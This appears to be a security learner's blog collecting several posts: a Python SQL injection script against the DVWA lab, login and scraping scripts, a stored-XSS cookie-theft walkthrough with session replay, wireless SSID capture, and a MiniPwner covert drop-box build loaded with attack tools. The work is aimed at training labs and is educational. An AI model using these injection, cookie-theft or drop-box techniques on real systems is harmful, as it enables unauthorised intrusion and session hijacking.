Sunday, February 24, 2013

SQLi with Python and DVWA: article 201304

Continuing on with my studies and practice of Python with the help of SecurityTube's SPSE course I am presenting below a Proof of Concept script for SQL Injection. They script is written in Python 2.7 and uses Mecahnize along with BeautifulSoup.  I ran the script against OWASP's Damn Vulnerable Web Application found on the Broken Web Apps VM.  I have commented the script the make it is self explanatory as possible

Here is a screen shot of the output:



Here is the script:

#!/usr/bin/python

#Bringing in mechanize and beautiful soup.  These are  installed separately from Python
import mechanize
from bs4 import BeautifulSoup

#Building the SQL injection
hotSQLinjection = "' or ' 1 = 1"

#Creating a mechanize browser
browser = mechanize.Browser()

#Opening my URI to the DVWA web page obviously your location will most likely vary
browser.open("http://192.168.1.152/dvwa")

#Printing to browser title to show where I am
print "#" *55
print "# " + browser.title()
print "#" *55 + "\n"

#There is only one form on this page so I jump right in
browser.select_form(nr=0)


#Below I am filling out the form fields and submitting for log in
browser.form['username'] = 'admin'
browser.form['password'] = 'admin'
browser.submit()

#Again printing the browser title to show where I am
print "#" *55
print "# " + browser.title()
print "#" *55

#Now that I am authenticated I am opening the browser to the SQL Injection page
browser.open("http://192.168.1.152/dvwa/vulnerabilities/sqli")

#Again there is only one form so I am so I will jump right in

#Printing out what the SQLi is
print "\n"
print "#" *55
print "# " + " The SQL Injection that will be used is: " + hotSQLinjection
print "# " + " Injecting now"
print "#" *55

#Inserting the SQL Injection into the form filed and submitting
browser.select_form(nr=0)
browser.form['id'] = hotSQLinjection
browser.submit()

#This feeds the the browser page into a variable to feed into the BeautifulSoup parser
page1 =  browser.response().read()

#As it says!
print "\n"
print "#" *55
print "# " + " Feeding page into BeautifulSoup LXML Parser"
print "#" *55

soup1 = BeautifulSoup(page1, "lxml")

#The "sensitive" info from the injection is surrounded by
 tags
#This creates a list to iterate though
allPRE =  soup1.find_all('pre')

#Printing out the "sensitve" information from the DVWA database
print "\n"
print "#" *55
print "# " + " Dump of database"
print "#" *55

#Iterating through the list
for pre in allPRE:
    print pre

#All done
print "\n"
print "#" *55
print "# " + " Injection and dump complete"
print "#" *55
print "\n"

Saturday, February 23, 2013

Python Script to Log Into DVWA: article 201303

Very similar to my last post this is just a simple script using Python with Mechanize to log into Damn Vulnerable Web App from OWASP.

Here is the script:

#!/usr/bin/python

import mechanize

browser = mechanize.Browser()

browser.open("http://192.168.1.152/dvwa")
print "#" *50
print "# " + browser.title()
print "#" *50 + "\n"

# There is only one form on this page so I jump right in

browser.select_form(nr=0)

#below I am filling out the form fields and submitting
browser.form['username'] = 'admin'
browser.form['password'] = 'admin'
browser.submit()

print "#" *50
print "# " + browser.title()
print "#" *50

Here is a screen shot of the output.  Notice I print the title of the "Log In" page and once credentials are submitted the I print the title of the "Welcome" page.

.




.

Friday, February 15, 2013

Python Script to Connect to and Start Web Goat: article 201302

This is a simple script that uses Mechanize to connect to Web Goat, Log In, and Start Web Goat

If you want to connect to Web Goat remotely will need to modify the server_80.xml file (or server_8080.xml based on your config) to allow remote connections. DOING THIS INCREASES RISK TO YOUR SYSTEM.
To modify the xml file navigate to your Web Goat folder. In my case
    P:\WebGoat-5.4-OWASP_Standard_Win32\WebGoat-5.4\tomcat\conf
Select the appropriate file for editing; in my case server_80.xml.  Change the line:
   
to:
   
Start the Web Goat listener.
I ran the below script from one system to connect to the system where Web Goat was listening.

#!/usr/bin/python


import mechanize

browser = mechanize.Browser()

browser.add_password("http://192.168.1.14/WebGoat/attack", "guest", "guest")

browser.open('http://192.168.1.14/WebGoat/attack')

for form in browser.forms():
print "form is: ", form

browser.select_form(nr=0)

browser.submit()

for link in browser.links():
print link.text + ' : ' + link.url

Of course the IP address of where your Web Goat will most likely vary.  So what is going on in the above is:
1. I imported mechanize (this needs to be installed onto your system)
2. I created a browser instance
3. I added the default username and password of Web Goat to browser instance 'guest' and 'guest'
4. I opened a session with the Web Goat listener
5. I print the available forms (there really is no need to do this)
6. I select the form (there is only one on this page)
7. I submit the form
8. I print the links' text and url's just to verify that I have successfully logged in and started the Web Goat

Next steps for me to practice are attacking Web Goat with Mechanize.
.

Sunday, February 10, 2013

Link Scraper using Python: article 201301


As part of the SecurityTube Python Scripting Expert course the below is a simple script written to extract the absolute paths from a provided webpage.

Written in Python 2.7.2 using urllib, re, and Beautiful Soup 4 using the LXML parser.

Here is screen shot of an example:




And here is the code:

#!/usr/bin/python

import re
import urllib
from bs4 import BeautifulSoup

print "#" * 50
print "#    Enter a url in the format http://site.domain"
print "#    i.e http://whyjoseph.com"
url = raw_input("#    Enter a URL: ")
print "#" *50
print "\n"
print ">>>>  Retrieving and parsing the page. This could take several seconds. <<<<"
print "\n"
htmlPage = urllib.urlopen(url)

soup = BeautifulSoup(htmlPage, 'lxml')

allLinks = soup.find_all('a')

for i in allLinks:
link = (i.get('href'))
if link:
matchobj = re.search('HTTP', link, re.I)
if matchobj:
print link

print "\n"


.




Saturday, December 29, 2012

XSS for Stealing Cookies and Mozzila for Using Them: article 201207

Takeaway: Using stored cross site scripting, XSS, a user's cookie can be stolen and used to bypass authentication to a website.  You need a vulnerable website, a script to steal the cookie, a server to write to, a script to write the cookie to a log, and an appendable log file.  Once you have the cookie you can utilize a Mozilla add on to use it.

My primary resource of information for this blog can be found at this YouTube video.

I have played with stored XSS before using the script message box to create a pop up:


  



and to read my own cookie:






but I decided today to take the opportunity to simulate actually stealing another users cookie.

iexploit.org has posted a decent set of videos on YouTube from which I used as my guide to simulate this attack.

The first thing I needed was a vulnerable site.  I chose to use  Damn Vulnerable Web App.  Here is a link to a video showing how to install DVWA with XAMPP.  XAMPP can be downloaded here.

I changed the security setting of  DVWA to "Low".



The target of DVWA of course was XSS stored.  An issue I ran into was that the Messages text box only allowed for a maximum of 50 characters; too few to pull this simulation off.



To resolves this I navigated to:

    C:\xampp\htdocs\dvwa\vulnerabilities\xss_s


and modified the index.php script, in my case line 49, from

    maxlength=\"50\" to maxlength=\"500\"



Next, two files needed to be created.  First a blank file named cookielogs.txt and a second file named stealer.php that receives the cookie and appends it to the cookielogs.txt file.  The code for stealer.php is:



I uploaded these two files to a personal website.



A third piece to this is the malicious script to post to the guest book; it is seen here:

Next it was time to post my script to the DVWA vulnerable guest book:



The next user that came along and clicked on the XSS stored link


Would have the cookie stolen and shipped off to my cookielogs.txt text file:



We have a cookie!  Now what?  Consume that cookie!

There is an add-on for the Mozilla browser titled cookie editor.  It is a tool that will let you view your cookies and, as the name says; edit them.






Once the editor is installed it can be found under the Tools menu of the browser.

Now as the attacker I browsed to the cookielogs.txt file and selected the cookie I wanted to try.  In the case the one at the bottom of the list.


I then browsed to the DVWA login page.







I opened the cookie editor





Notice in the above pic the IP address of the site I am visiting and next to each IP are the cookie names "PHPSESSID" and "security".  Notice back on the cookielogs.txt file that each of those are defined. So I edited these to match the cookie I had captured.  First the PHPSESSID.  Highlight then select edit.

Then replace the "Content" string with the string captured:



Click save and then repeat for the "security" cookie:

Here I changed it from "high" to "low", just as I had captured.  I then clicked "Save"



I clicked "Close"


Now back the web page I removed the "login.php" from the URL address:





I hit my keyboards "Enter" key and "Boom goes the dynamite". 


I was able to get to the log in screen without credentials.

As always I hope this helps others.  Please provide any feedback and I will be happy to answer any pertinent questions that I can.

.










Wednesday, December 5, 2012

Screen Scraper in Python: article 201206

As part of the SecurityTube Python Scripting Expert course the below is a simple script written to scrape the Top X suspect IP addresses from SANS Internet Storm Center.

Written in Python 2.7.2, Beautiful Soup 4, and LXML parser

#!/usr/bin/python

import urllib
import re
import sys
from bs4 import BeautifulSoup
print "\n\n"
print "++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"
print """
        The following list of IP's is pulled from
        the SANS Internet Storm Center.  It shows
        a list of up to the top 100 IP's from which
        suspected malicous traffic was seen. It is
        not recommended to use this as a black list.
        source: http://isc.sans.edu/sources.html
        """
print "\n++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n"

topX = int(raw_input("Enter the Top X amount, btw 1 & 100, of flagged IP's you want to see: "))

while ((topX < 1) or (topX > 100)):
        print "The ammount must be a number btw 1 & 100\n"
        topX = int(raw_input("Enter the Top X amount, btw 1 & 100, of flagged IP's you want to see: "))

print "\nPlease be patient\n"
print "Retrieving the top ", topX , " IPs\n"

iscPage = urllib.urlopen("http://isc.sans.edu/sources.html")

#print iscPage.code

iscSoup = BeautifulSoup(iscPage.read(), "lxml")

allAtag = iscSoup.find_all('a')

counter = 0


for item in allAtag:
        if (re.search('ipinfo', str(item)) and (counter < topX)):
                        print item.string
                        counter = counter + 1
print "\n"

Sunday, November 11, 2012

tshark and airmon-ng to capture SSID broadcasts: article 201205

Take aways: 
Your chip set must be able to drop into monitor mode.
Command to enable monitor mode: airmon-ng start
Command to determine available link-layer header types: tshark -i -I -L

At the time of this writing I am taking a class developed and presented by Vivek Ramachandran titled SecurityTube Python Scripting Expert.  A project in the class is to use write a program that will capture SSID broadcasts.  To capture informaiton at this level you must place your NIC into monitor mode.  As to why, the Wireshark Wiki provides great information and instructions.

It took some, reading, some fiddling, and I still have questions for myself, such as why am I not seeing all SSID's but below is how I was finally able to see SSID broadcasts.

The card I am using is a D-Link USB wifi card purchase many years back


I am running Backtrack BT5R1 as a VM on a Windows 7 host using VM Workstation 9.



Running the command:

    airmon-ng check

shows what processes are running and a note is provided that it could cause trouble.  To kill the process I choose to use the command:

     kill



Next to put the card in monitor mode I ran the airmon-ng start command:

    airmon-ng start



Notice in the above image that monitor mode is enabled on "mon0" not "wlan0"

Next comes tshark to capture SSID's.  I recommend reading the Wireshark Wiki link at the beginning of this post. First is the command to see what link-layer headers are available:

    tshark -i -I -L 
or
    tshark -i -L

The "-I" switch stands for monitor mode.  This is something I need to research further because based on wiki I thought I had to use it but when I did I received error messages which I will show in a screen shot below.

First here are what the commands provided me:


And now to capture SSID broadcasts, at least the one that worked for me:

    tshark -i -y IEEE802_11_RADIO


I am not sure if I am in true "monitor" mode because when I use the "-I" switch I get the following.  Which was frustrating because I just stumbled on to the fact that I could see SSID's without it.


Also of interest when I run this in my VM I only see the one SSID. When I run this another laptop with Backtrack5 R3 and it's built in NIC I see more SSID's but not all the ones that I know are in my area. You can see there are a few more in the background of the picture of my D-Link USB NIC; but even this isn't all of them.

Any suggestions, advice, or answers would be much appreciated!

Any way.... It is a good start for and now to get back to my Python scripting!

.

Thursday, August 16, 2012

My Experience Building a MiniPwner: article 201204

Takeaways: Cookbook to building your own minipwner http://www.minipwner.com/index.php/minipwner-build
This model of router I  used: http://www.tp-link.us/products/details/?categoryid=218&model=TL-MR3020
Using firmware from OpenWrt:  http://wiki.openwrt.org/toh/tp-link/tl-mr3020



First, thanks to folks at minipwner.com for putting together a step by step how to on building ones own minipwner! Also thanks to the many folks of the OpenWrt.org project!

Perhaps you have heard of the minipwner or the similar Pwnie Express teams pwn plugs.  If not then in a brief statement know that these are devices that allow remote access to a network via wireless connectivity.  From a pentester's or attacker's point of view they are a small, easy to disguise, effective means to infiltrate a network.  These devices can be loaded with tools that once one connects to a network can be used for reconnaissance and attack. Examples of this can be read about here:

MintyPwner - pwner in an Altoids tin box

Wired Article interview with Jayson Street

My Experience With the Build

Let me make it clear I used the step by step instructions from MiniPwner web site.  But as is typical with technology I ran into a few nuances with my build.  Below will be excerpts from the MINIPWNER site but I have made modifications based on what I experienced.

I purchased my router from a local computer store for around $40.  I went with the TP-Link TL-MR3020 because that is what they had in stock.


I used version 1.7 of the the device.  At the time of this writing OpenWrt did note that their firmware worked with this version of the router but had not signed off on the upgrade of its firmware via the the web interface of the router; however it did work just fine.


For my USB I used a 4GB Cruzer.

The files I used were:
MiniPwner Files :  these are configuration files created by the MiniPwner team.
OpenWrt SquashFS factory bin file  : this is the base firmware from  OpenWrt.
OpenWrt SquashFS sysupgrade file : this is the upgrade to the base firmware file. I had many issues my first go around with the project and ended up installing this to fix those issues.  My second build of the MiniPwner I upgraded the firmware as soon as I was able to connect to the OpenWrt version of the router and the remainder of the project went without incident.


I have these stored on my website to help maintain consistency with this write up.

I also used  Backtrack 5 R2 as my OS for this project.  This is a standalone install not a VM.



The below steps will written with the above described environment in mind.

Alright, let's step into it.

Working from Backtrack 5 R2 with an internet connection.

1. Download the files I have linked to above.  Again, these files reside on my website's server they are not links to the original authors' websites.  I did this to help maintain consistency with the files I will be working with.  I downloaded the files into my /root/home directory.  Use GParted to create the partitions on the USB Stick.

2. You will need to partition a USB drive so that it has a swap space partition and an EXT4 partition.  I will be creating a separate detailed write up on how to do this with Backtrack 5 R2.  From a command prompt within Backtrack type the command apt-get install gparted.

3. Insert the USB drive into the TP-Link router.

4. Plug the TP-Link router into a power source.

5. Connect the TP-Link router to the computer running Backtrack via an ethernet cable.  Determine if you if you acquired an IP address. I used ifconfig from the command line. I did not acquire one so used dhclient eth0 to retrieve and IP.

6. The IP of the TP-Link router is 192.168.0.254.  This can be confirmed by typing the command route -n from the command line in Bactrack. This particular router is in English so the interface is different from the that shown at MiniPwner.com. If it prompts for a username and password try admin and admin 

 7.  On the left hand side of the page click System Tools which will drop down a  menu then click Firmware Upgrade.
 8.  Click the browse button and navigate to the openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-factory.bin file.




Click the upgrade button.  The status bar will go through to 100% TWICE and then it will reboot.
You will, of course, lose connectivity to the device.



Video capture of the end of the upgrade process


9.  Now that this process is complete Backtrack NIC has to have a new IP addressed assigned.  Sticking close to the MiniPwner instructions apply 192.168.1.111 by using the command line and typing the command:
ifconfig eth0 192.168.1.111 netmask 255.255.255.0

10. Now connectivity to the router should be established.  This can be tested by telnetting to the router.  From the command line type: 
telnet 192.168.1.1

Leave this window open.

11. The next task is to upgrade the firmware.  As mentioned earlier this alleviated many issues that occurred with my first MiniPwner install.  In Backtrack open a new command prompt and navigate to the directory containing the openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-sysupgrade.bin file. Then at the command prompt type:
nc -l -p 3333 < openwrt-ar71xx-generic-tl-mr3020-v1-squashfs-sysupgrade.bin
Hit the Enter key on the keyboard.
Return to the OpenWrt telnet session window and type:
cd /tmp
then type the command
nc 192.168.1.111 3333 > sysupgrade.bin
Wait for about 10 seconds then hit ctrl+C to cancel.  If successful an ls command should the appropriate sized file.  See the picture below for an example of what this should look like.
12. No to perform the upgrade; from the telnet session type the following command:
sysupgrade sysupgrade.bin
Hit enter, and wait for the system router to reboot.

Here is a video capture of my experience.
 

13.  Once the router reboots, telnet back into the router from a command line Backtrack:
Telnet 192.168.1.1

From here on out you should be good to go with the remainder of the instructions from the minipwner.com site except there is one command in step 19 that does not apply to this build:

cp -f /etc/config/fstab /etc/config/fstab.orig

There is not fstab in the /etc directory of this version of the TP-Link router.  So the rest of the instructions I have just copied and pasted from minipwner.com.

Have fun, good luck, and check their forums if you run into issues.  They helped me tremendously.




  1. *** If you mess up anything after this point, enter the command "firstboot" into your telnet session, reboot, and you will be right back here.***
  2. If you aren't good with vi for editing, consider doing "opkg install nano" to get a more friendly editor.
  3. Copy and paste the following commands into your telnet session.

cd /usr/share
nc 192.168.1.111 3333 > minipwner.tar
  1. It will hang up while transfering the tar archive from the PC. (netcat doesn't know that the file transfer is done) Wait 10 seconds then go to the command prompt window on the PC and Ctrl-C to break the connection
  2. Paste this command into your telnet session:

tar -xf minipwner.tar
  1. Paste these commands into your telnet session:

cd /usr/share/minipwner
cp -f /etc/config/network /etc/config/network.orig
cp -f /etc/config/wireless /etc/config/wireless.orig
cp -f /etc/config/firewall /etc/config/firewall.orig
cp -f /etc/profile /etc/profile.orig
cp -f /etc/config/fstab /etc/config/fstab.orig
cp -f /etc/opkg.conf /etc/opkg.conf.orig
cp -f /etc/config/system /etc/config/system.orig
cp -f /etc/config/dhcp /etc/config/dhcp.orig
cp -f ./network.1 /etc/config/network
cp -f ./wireless.1 /etc/config/wireless
cp -f firewall.1 /etc/config/firewall
cat /etc/config/wireless.orig
  1. Your original /etc/config/wireless file contents should have been displayed on the screen. Copy the MAC address of your wireless adapter from the screen.
  2. Edit etc/config/wireless using

vi /etc/config/wireless

Delete the bad MAC address (cursor to it and use x to delete) then paste in the copied MAC (i to insert then paste). Then change the Wifi settings to connect to your wireless router (by default tries to connect to SSID "TOKI". Shift-ZZ to save and exit. :q! to exit without saving.
  1. Paste these commands into your telnet session:

/etc/init.d/network restart
wifi
  1. Type
ifconfig wlan0
to check that your wireless settings came up. If you don't have a DHCP assigned address you'll need to troubleshoot your settings.
  1. If your internet connection works you should be able to run "opkg update" and see that it connects and updates packages.
Some people have challenges at this step. One common problem is that their wireless network is in the range 192.168.1.x, which is the same range as eth0. See the forum for options if this is your problem (simple fix is to change the IP range of your wireless network)
  1. Paste these commands into your telnet session:

cd /usr/share/minipwner
opkg update
opkg install kernel
opkg install kmod-usb-storage
opkg install kmod-fs-ext4
opkg install block-mount
cp -f profile.1 /etc/profile
cp -f fstab.1 /etc/config/fstab
cp -f opkg.conf.1 /etc/opkg.conf
cp -f system.1 /etc/config/system
mkdir /mnt/usb
/etc/init.d/fstab enable
/etc/init.d/fstab start
ls /mnt/usb
  1. Check that your USB drive mounted. "mount" or "df" commands should show it. If not, you'll need to troubleshoot USB access.
  2. Paste these commands into your telnet session:

cd /usr/share/minipwner
ln -s /mnt/usb /opt
ln -s /etc /mnt/usb/etc
opkg update
opkg install netcat
opkg -dest usb install tar
opkg -dest usb install openssh-sftp-client
opkg -dest usb install nmap
opkg -dest usb install tcpdump
opkg -dest usb install aircrack-ng
opkg -dest usb install kismet-client
opkg -dest usb install kismet-server
opkg -dest usb install perl
opkg -dest usb install openvpn
opkg -dest usb install dsniff
opkg -dest usb install nbtscan
opkg -dest usb install snort
opkg -dest usb install karma
opkg -dest usb install samba36-client
opkg -dest usb install elinks
opkg -dest usb install yafc
cp -f ./network.2 /etc/config/network
cp -f ./wireless.2 /etc/config/wireless
cp -f ./dhcp.2 /etc/config/dhcp
ln -s /mnt/usb/usr/share/nmap /usr/share/nmap
cat /etc/config/wireless.orig
  1. Your original /etc/config/wireless file contents should have been displayed on the screen. Copy the MAC address of your wireless adapter from the screen.
  2. Edit etc/config/wireless using

vi etc/config/wireless

Delete the bad MAC address (cursor to it and use x to delete) then paste in the copied MAC (i to insert then paste). Shift-ZZ to save and exit. :q! to exit without saving.
  1. Type passwd to set a root password.
  2. Reboot. The default configuration for the minipwner is acting as a wireless access point with an SSID of TLINK and a router IP of 192.168.50.1, and running DHCP on the ethernet port.
  3. If things get hosed up, see the "rebuilding" section of the FAQ for instructions on using fail-safe mode to rebuild your router.
  4. If you want to install other packages to the USB key, do opkg -dest usb install .  I have had problems where installed libraries, modules, or other resources are not found because they are not in the "normal" place.  In a lot of cases you can kinda fix this by creating a symlink, similar to the one above for "

ln -s /mnt/usb/usr/share/nmap /usr/share/nmap"



.